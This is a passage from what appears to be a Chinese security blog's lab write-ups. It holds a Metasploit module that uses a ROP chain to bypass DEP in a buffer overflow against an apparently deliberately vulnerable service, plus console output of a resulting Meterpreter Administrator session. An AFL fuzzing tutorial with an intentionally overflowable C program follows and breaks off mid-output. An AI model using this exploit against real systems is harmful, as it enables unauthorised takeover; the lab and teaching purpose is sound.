class="number">0xffffffc0</span>, <span class="comment"># Value to negate, will become 0x00000040</span></span><br><span class="line"> <span class="number">0x77d4493b</span>, <span class="comment"># NEG EAX # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x77c28fbc</span>, <span class="comment"># XCHG EAX,EDX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x77bef7c9</span>, <span class="comment"># POP ECX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x7c99bac1</span>, <span class="comment"># &amp;Writable location [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x719e4870</span>, <span class="comment"># POP EDI # RETN [mswsock.dll]</span></span><br><span class="line"> <span class="number">0x77e6d224</span>, <span class="comment"># RETN (ROP NOP) [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77e8c50c</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x90909090</span>, <span class="comment"># nop</span></span><br><span class="line"> <span class="number">0x77de60c7</span>, <span class="comment"># PUSHAD # RETN [ADVAPI32.dll]</span></span><br><span class="line"> ].flatten.pack(<span class="string">"V*"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> rop_gadgets</span><br><span class="line"></span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Call the ROP chain generator inside the 'exploit' function :</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> rop_chain = create_rop_chain()</span><br></pre></td></tr></table></figure></p><h2 id="自动化攻击-2"><a href="#自动化攻击-2" class="headerlink" title="自动化攻击"></a>自动化攻击</h2><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'msf/core'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Metasploit3</span> &lt; Msf::Exploit::<span class="title">Remote</span></span></span><br><span class="line"> Rank = NormalRanking</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Remote::Tcp</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = &#123;&#125;)</span></span></span><br><span class="line"> <span class="keyword">super</span>(update_info(info,</span><br><span class="line"> <span class="string">'Name'</span> =&gt; <span class="string">'DEP Bypass Exploit'</span>,</span><br><span class="line"> <span class="string">'Description'</span> =&gt; <span class="string">%q&#123;</span></span><br><span class="line"><span class="string"> DEP Bypass Using ROP Chains Example Module</span></span><br><span class="line"><span class="string"> &#125;</span>,</span><br><span class="line"> <span class="string">'Platform'</span> =&gt; <span class="string">'Windows'</span>,</span><br><span class="line"> <span class="string">'Author'</span> =&gt; <span class="string">'yanhan'</span>,</span><br><span class="line"> <span class="string">'Payload'</span> =&gt;</span><br><span class="line"> &#123;</span><br><span class="line"> <span class="string">'space'</span> =&gt; <span class="number">312</span>,</span><br><span class="line"> <span class="string">'BadChars'</span> =&gt; <span class="string">"\x00"</span></span><br><span class="line"> &#125;,</span><br><span class="line"> <span class="string">'Targets'</span> =&gt;</span><br><span class="line"> [</span><br><span class="line"> [</span><br><span class="line"> <span class="string">'Windows XP'</span>,</span><br><span class="line"> &#123;<span class="string">'Offset'</span> =&gt; find it&#125;</span><br><span class="line"> ]</span><br><span class="line"> ],</span><br><span class="line"> <span class="string">'DisclosureDate'</span> =&gt; <span class="string">'2019-01-16'</span>))</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">create_rop_chain</span><span class="params">()</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># rop chain generated with mona.py - www.corelan.be</span></span><br><span class="line"> rop_gadgets =</span><br><span class="line"> [</span><br><span class="line"> <span class="number">0x77dabf34</span>, <span class="comment"># POP ECX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x6250609c</span>, <span class="comment"># ptr to &amp;VirtualProtect() [IAT essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77d1927f</span>, <span class="comment"># MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x7c96d192</span>, <span class="comment"># XCHG EAX,ESI # RETN [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x77bef671</span>, <span class="comment"># POP EBP # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x625011af</span>, <span class="comment"># &amp; jmp esp [essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77e9ad22</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0xfffffdff</span>, <span class="comment"># Value to negate, will become 0x00000201</span></span><br><span class="line"> <span class="number">0x77e6c784</span>, <span class="comment"># NEG EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77dc560a</span>, <span class="comment"># XCHG EAX,EBX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x7c87fbcb</span>, <span class="comment"># POP EAX # RETN [kernel32.dll]</span></span><br><span class="line"> <span class="number">0xffffffc0</span>, <span class="comment"># Value to negate, will become 0x00000040</span></span><br><span class="line"> <span class="number">0x77d4493b</span>, <span class="comment"># NEG EAX # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x77c28fbc</span>, <span class="comment"># XCHG EAX,EDX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x77bef7c9</span>, <span class="comment"># POP ECX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x7c99bac1</span>, <span class="comment"># &amp;Writable location [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x719e4870</span>, <span class="comment"># POP EDI # RETN [mswsock.dll]</span></span><br><span class="line"> <span class="number">0x77e6d224</span>, <span class="comment"># RETN (ROP NOP) [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77e8c50c</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x90909090</span>, <span class="comment"># nop</span></span><br><span class="line"> <span class="number">0x77de60c7</span>, <span class="comment"># PUSHAD # RETN [ADVAPI32.dll]</span></span><br><span class="line"> ].flatten.pack(<span class="string">"V*"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> rop_gadgets</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">exploit</span></span></span><br><span class="line"> connect</span><br><span class="line"> rop_chain = create_rop_chain()</span><br><span class="line"> junk = make_nops(target[<span class="string">'Offset'</span>])</span><br><span class="line"> buf = <span class="string">"TRUN ."</span> + junk + rop_chain + make_nops(<span class="number">16</span>) + payload.encoded + <span class="string">'\r\n'</span></span><br><span class="line"> sock.put(buf)</span><br><span class="line"> handler</span><br><span class="line"> disconnect</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">msf5 &gt; use exploit/windows/yanhan/rop_attack</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) &gt; <span class="keyword">set</span> rhosts <span class="comment">192.168.31.114</span></span><br><span class="line">rhosts <span class="comment">=&gt; 192.168.31.114</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">rop_attack) &gt; set rport 1000</span></span><br><span class="line">rport <span class="comment">=&gt; 1000</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">rop_attack) &gt; exploit</span></span><br><span class="line"></span><br><span class="line">[*] Started <span class="comment">reverse TCP handler on 192.168.31.84:4444</span></span><br><span class="line">[*] Exploit <span class="comment">completed, but no session was created.</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">rop_attack) &gt; set payload windows</span>/meterpreter/<span class="comment">bind_tcp</span></span><br><span class="line">payload <span class="comment">=&gt; windows</span>/meterpreter/<span class="comment">bind_tcp</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">rop_attack) &gt; exploit</span></span><br><span class="line"></span><br><span class="line">[*] Started <span class="comment">bind TCP handler against 192.168.31.114:4444</span></span><br><span class="line">[*] Exploit <span class="comment">completed, but no session was created.</span></span><br><span class="line">msf5 <span class="comment">exploit(windows</span>/yanhan/<span class="comment">rop_attack) &gt; exploit</span></span><br><span class="line"></span><br><span class="line">[*] Started <span class="comment">bind TCP handler against 192.168.31.114:4444</span></span><br><span class="line">[*] Sending <span class="comment">stage (179779 bytes) to 192.168.31.114</span></span><br><span class="line">[*] Meterpreter <span class="comment">session 1 opened (192.168.31.84:44537 -&gt; 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800</span></span><br><span class="line"></span><br><span class="line">meterpreter <span class="comment">&gt; getuid</span></span><br><span class="line">Server <span class="comment">username: WHU-3E3EECEBFD1\Administrator</span></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 二进制 </category>
</categories>
<tags>
<tag> 二进制 </tag>
<tag> Windows </tag>
<tag> 漏洞 </tag>
</tags>
</entry>
<entry>
<title>AFL-爱之初体验</title>
<link href="/2019/07/09/afl-first-try/"/>
<url>/2019/07/09/afl-first-try/</url>
<content type="html"><![CDATA[<p>这篇文章是对afl的简单使用可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始然后使用fuzzer对其模糊测试发现崩溃最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。<br>参考:<a href="https://paper.seebug.org/841/#_1" target="_blank" rel="noopener">https://paper.seebug.org/841/#_1</a></p><p><strong>部署afl</strong></p><blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;</span><span class="bash"> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> tar -zxvf afl-latest.tgz</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> <span class="built_in">cd</span> afl-2.52b/</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> make</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> sudo make install</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"></span></span><br></pre></td></tr></table></figure></blockquote><p><strong>部署qemu</strong></p><blockquote><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;</span><span class="bash"> $ CPU_TARGET=x86_64 ./build_qemu_support.sh</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> [+] Build process successful!</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> [*] Copying binary...</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> [+] Successfully created <span class="string">'../afl-qemu-trace'</span>.</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> [!] Note: can<span class="string">'t test instrumentation when CPU_TARGET set.</span></span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> [+] All <span class="built_in">set</span>, you can now (hopefully) use the -Q mode <span class="keyword">in</span> afl-fuzz!</span></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"></span></span><br></pre></td></tr></table></figure></blockquote><hr><h1 id="0x01-白盒测试"><a href="#0x01-白盒测试" class="headerlink" title="0x01 白盒测试"></a>0x01 白盒测试</h1><h2 id="目标程序编译"><a href="#目标程序编译" class="headerlink" title="目标程序编译"></a>目标程序编译</h2><ol><li><p>源代码</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">undef</span> _FORTIFY_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vulnerable_function</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">128</span>];</span><br><span class="line">read(STDIN_FILENO, buf, <span class="number">256</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span> </span>&#123;</span><br><span class="line">vulnerable_function();</span><br><span class="line">write(STDOUT_FILENO, <span class="string">"Hello, World\n"</span>, <span class="number">13</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>gcc编译不插桩</p><figure class="highlight armasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ gcc <span class="built_in">v1</span>.c -o <span class="built_in">v1</span></span><br><span class="line">$ ./<span class="built_in">v1</span></span><br><span class="line"><span class="symbol">what</span></span><br><span class="line"><span class="symbol">Hello</span>, World</span><br></pre></td></tr></table></figure></li></ol><p>生成v1的目的一是为了和afl-gcc的编译做对比二是为黑盒测试做铺垫。</p><ol start="3"><li>使用afl-gcc进行编译<br><em>-fno-stack-protector 该选项会禁止stack canary保护<br>-z execstack 允许堆栈可执行</em><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ ../afl<span class="number">-2.52</span>b/afl-gcc -fno-stack-protector -z execstack v1.c -o v1-afl </span><br><span class="line">afl-cc <span class="number">2.52</span>b by &lt;lcamtuf@google.com&gt;</span><br><span class="line">afl-as <span class="number">2.52</span>b by &lt;lcamtuf@google.com&gt;</span><br><span class="line">[+] Instrumented <span class="number">2</span> locations (<span class="number">64</span>-bit, non-hardened mode, ratio <span class="number">100</span>%).</span><br></pre></td></tr></table></figure></li></ol><h2 id="测试插桩程序"><a href="#测试插桩程序" class="headerlink" title="测试插桩程序"></a>测试插桩程序</h2><p><strong>afl-showmap</strong> 跟踪单个输入的执行路径并打印程序执行的输出、捕获的元组tuplestuple用于获取分支信息从而衡量衡量程序覆盖情况。<br><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ .<span class="regexp">/afl-showmap -o /</span>dev<span class="regexp">/null -- ../</span>vuln/v1 &lt;&lt;(echo test)</span><br><span class="line">afl-showmap <span class="number">2.52</span>b by &lt;lcamtuf<span class="meta">@google</span>.com&gt;</span><br><span class="line">[*] Executing <span class="string">'../vuln/v1'</span>...</span><br><span class="line"></span><br><span class="line">-- Program output begins --</span><br><span class="line">Hello, World</span><br><span class="line">-- Program output ends --</span><br><span class="line"></span><br><span class="line">[-] PROGRAM <span class="string">ABORT :</span> No instrumentation detected</span><br><span class="line"> <span class="string">Location :</span> main(), afl-showmap.<span class="string">c:</span><span class="number">773</span></span><br></pre></td></tr></table></figure></p><figure class="highlight cs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ ./afl-showmap -o /dev/<span class="literal">null</span> -- ../vuln/v1-afl &lt;&lt;(echo test)</span><br><span class="line">afl-showmap <span class="number">2.52b</span> <span class="keyword">by</span> &lt;lcamtuf@google.com&gt;</span><br><span class="line">[<span class="meta">*</span>] Executing <span class="string">'../vuln/v1-afl'</span>...</span><br><span class="line"></span><br><span class="line">-- Program output begins --</span><br><span class="line">Hello, World</span><br><span class="line">-- Program output ends --</span><br><span class="line">[<span class="meta">+</span>] Captured <span class="number">1</span> tuples <span class="keyword">in</span> <span class="string">'/dev/null'</span>.</span><br></pre></td></tr></table></figure><p>可见afl-gcc相对于gcc的不同在于采用了插桩计算覆盖率在这个实例程序中捕捉到了一个元组</p><h2 id="执行FUZZER"><a href="#执行FUZZER" class="headerlink" title="执行FUZZER"></a>执行FUZZER</h2><ol><li>修改core<br>在执行afl-fuzz前如果系统配置为将核心转储文件core通知发送到外部程序。<figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl</span><br><span class="line">afl-fuzz <span class="number">2.52</span>b <span class="keyword">by</span> &lt;lcamtuf@google.com&gt;</span><br><span class="line">[+] You have <span class="number">2</span> CPU cores <span class="keyword">and</span> <span class="number">2</span> runnable tasks (utilization: <span class="number">100</span>%).</span><br><span class="line">[*] Checking CPU core loadout...</span><br><span class="line">[+] Found a free CPU core, binding <span class="keyword">to</span> <span class="comment">#0.</span></span><br><span class="line">[*] Checking core_pattern...</span><br><span class="line"></span><br><span class="line">[-] Hmm, your system <span class="keyword">is</span> configured <span class="keyword">to</span> send core dump notifications <span class="keyword">to</span> an</span><br><span class="line"> external utility. This will cause issues: there will be an extended <span class="built_in">delay</span></span><br><span class="line"> <span class="keyword">between</span> stumbling upon a crash <span class="keyword">and</span> having this information relayed <span class="keyword">to</span> <span class="keyword">the</span></span><br><span class="line"> fuzzer via <span class="keyword">the</span> standard waitpid() API.</span><br><span class="line"></span><br><span class="line"> To avoid having crashes misinterpreted <span class="keyword">as</span> timeouts, please <span class="built_in">log</span> <span class="keyword">in</span> <span class="keyword">as</span> root</span><br><span class="line"> <span class="keyword">and</span> temporarily modify /proc/sys/kernel/core_pattern, like so:</span><br><span class="line"></span><br><span class="line"> echo core &gt;/proc/sys/kernel/core_pattern</span><br><span class="line"></span><br><span class="line">[-] PROGRAM ABORT : Pipe <span class="keyword">at</span> <span class="keyword">the</span> <span class="keyword">beginning</span> <span class="keyword">of</span> 'core_pattern'</span><br><span class="line"> Location : check_crash_handling(), afl-fuzz.c:<span class="number">7275</span></span><br></pre></td></tr></table></figure></li></ol><p>将导致将崩溃信息发送到Fuzzer之间的延迟增大进而可能将崩溃被误报为超时所以我们得临时修改core_pattern文件如下所示<br><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo core &gt;<span class="regexp">/proc/</span>sys<span class="regexp">/kernel/</span>core_pattern</span><br></pre></td></tr></table></figure></p><ol start="2"><li>通用fuzz语法<br>afl-fuzz对于直接从stdin接受输入的目标二进制文件通常的语法是<figure class="highlight lasso"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ./afl<span class="params">-fuzz</span> <span class="params">-i</span> testcase_dir <span class="params">-o</span> findings_dir / path / <span class="keyword">to</span> / program <span class="meta">[</span><span class="params">...</span> <span class="keyword">params</span> <span class="params">...</span><span class="meta">]</span></span><br></pre></td></tr></table></figure></li></ol><p>对于从文件中获取输入的程序,使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您:<br><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ .<span class="regexp">/afl-fuzz -i testcase_dir -o findings_dir /</span> path <span class="regexp">/ to /</span> program @@</span><br></pre></td></tr></table></figure></p><p>此时afl会给我们返回一些信息这里提示我们有些测试用例无效<br><figure class="highlight vhdl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz <span class="number">2.52</span>b by &lt;lcamtuf@google.com&gt;</span><br><span class="line">[+] You have <span class="number">2</span> CPU cores <span class="keyword">and</span> <span class="number">2</span> runnable tasks (utilization: <span class="number">100</span>%).</span><br><span class="line">[*] Checking CPU core loadout...</span><br><span class="line">[+] Found a free CPU core, binding <span class="keyword">to</span> #<span class="number">0</span>.</span><br><span class="line">[*] Checking core_pattern...</span><br><span class="line">[*] Setting up output directories...</span><br><span class="line">[+] Output directory exists but deemed OK <span class="keyword">to</span> reuse.</span><br><span class="line">[*] Deleting old session data...</span><br><span class="line">[+] Output dir cleanup successful.</span><br><span class="line">[*] Scanning '../vuln/testcase/'...</span><br><span class="line">[+] No auto-generated dictionary tokens <span class="keyword">to</span> reuse.</span><br><span class="line">[*] Creating hard links <span class="keyword">for</span> <span class="keyword">all</span> input files...</span><br><span class="line">[*] Validating target binary...</span><br><span class="line">[*] Attempting dry run <span class="keyword">with</span> <span class="symbol">'id</span>:<span class="number">000000</span>,orig:<span class="number">1</span>'...</span><br><span class="line">[*] Spinning up the fork server...</span><br><span class="line">[+] <span class="keyword">All</span> right - fork server <span class="keyword">is</span> up.</span><br><span class="line"> len = <span class="number">3</span>, <span class="keyword">map</span> size = <span class="number">1</span>, exec speed = <span class="number">295</span> us</span><br><span class="line">[*] Attempting dry run <span class="keyword">with</span> <span class="symbol">'id</span>:<span class="number">000001</span>,orig:<span class="number">2</span>'...</span><br><span class="line"> len = <span class="number">23</span>, <span class="keyword">map</span> size = <span class="number">1</span>, exec speed = <span class="number">125</span> us</span><br><span class="line">[!] <span class="literal">WARNING</span>: No <span class="keyword">new</span> instrumentation output, test <span class="keyword">case</span> may be useless.</span><br><span class="line">[+] <span class="keyword">All</span> test cases processed.</span><br><span class="line"></span><br><span class="line">[!] <span class="literal">WARNING</span>: Some test cases look useless. Consider using a smaller set.</span><br><span class="line">[+] Here are some useful stats:</span><br><span class="line"></span><br><span class="line"> Test <span class="keyword">case</span> count : <span class="number">1</span> favored, <span class="number">0</span> <span class="keyword">variable</span>, <span class="number">2</span> total</span><br><span class="line"> Bitmap <span class="keyword">range</span> : <span class="number">1</span> <span class="keyword">to</span> <span class="number">1</span> bits (average: <span class="number">1.00</span> bits)</span><br><span class="line"> Exec timing : <span class="number">125</span> <span class="keyword">to</span> <span class="number">295</span> us (average: <span class="number">210</span> us)</span><br><span class="line"></span><br><span class="line">[*] No -t option specified, so I<span class="symbol">'ll</span> <span class="keyword">use</span> exec timeout <span class="keyword">of</span> <span class="number">20</span> ms.</span><br><span class="line">[+] <span class="keyword">All</span> set <span class="keyword">and</span> ready <span class="keyword">to</span> roll!</span><br></pre></td></tr></table></figure></p><ol start="3"><li>状态窗口<br>我们可以看到afl很快就给我们制造了崩溃</li></ol><figure class="highlight ada"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"> american fuzzy lop <span class="number">2.52</span>b (v1-afl)</span><br><span class="line"></span><br><span class="line">┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐</span><br><span class="line">│ run time : 0 <span class="type">days</span>, <span class="number">0</span> hrs, <span class="number">4</span> min, <span class="number">19</span> sec │ cycles done : 2477 │</span><br><span class="line">│ last <span class="keyword">new</span> path : 0 <span class="type">days</span>, <span class="number">0</span> hrs, <span class="number">2</span> min, <span class="number">27</span> sec │ total paths : 3 │</span><br><span class="line">│ last uniq crash : 0 <span class="type">days</span>, <span class="number">0</span> hrs, <span class="number">4</span> min, <span class="number">19</span> sec │ uniq crashes : 1 │</span><br><span class="line">│ last uniq hang : 0 <span class="type">days</span>, <span class="number">0</span> hrs, <span class="number">2</span> min, <span class="number">12</span> sec │ uniq hangs : 1 │</span><br><span class="line">├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤</span><br><span class="line">│ now processing : 2 (66.67%) │ map density : 0.00% / 0.00% │</span><br><span class="line">│ paths timed <span class="keyword">out</span> : 0 (0.00%) │ count coverage : 1.00 <span class="type">bits</span>/tuple │</span><br><span class="line">├─ stage progress ────────────────────┼─ findings <span class="keyword">in</span> depth ────────────────────┤</span><br><span class="line">│ now trying : <span class="type">havoc</span> │ favored paths : 1 (33.33%) │</span><br><span class="line">│ stage execs : 1433/1536 (93.29%) │ <span class="keyword">new</span> edges on : 2 (66.67%) │</span><br><span class="line">│ total execs : 2.32<span class="type">M</span> │ total crashes : 93.1<span class="type">k</span> (<span class="number">1</span> unique) │</span><br><span class="line">│ exec speed : 0.00/<span class="type">sec</span> (zzzz...) │ total tmouts : 8 (1 <span class="type">unique</span>) │</span><br><span class="line">├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤</span><br><span class="line">│ bit flips : 0/1152, 0/1149, 0/1143 │ <span class="type">levels</span> : 2 │</span><br><span class="line">│ byte flips : 0/144, 0/14, 0/10 │ <span class="type">pending</span> : 0 │</span><br><span class="line">│ arithmetics : 0/888, 0/25, 0/0 │ <span class="type">pend</span> fav : 0 │</span><br><span class="line">│ known ints : 0/98, 0/390, 0/440 │ <span class="type">own</span> finds : 1 │</span><br><span class="line">│ dictionary : 0/0, 0/0, 0/0 │ <span class="type">imported</span> : <span class="type">n</span>/a │</span><br><span class="line">│ havoc : 2/1.50<span class="type">M</span>, <span class="number">0</span>/<span class="number">819</span>k │ stability : 100.00% │</span><br><span class="line">│ trim : 11.88%/64, 80.00% ├────────────────────────┘</span><br><span 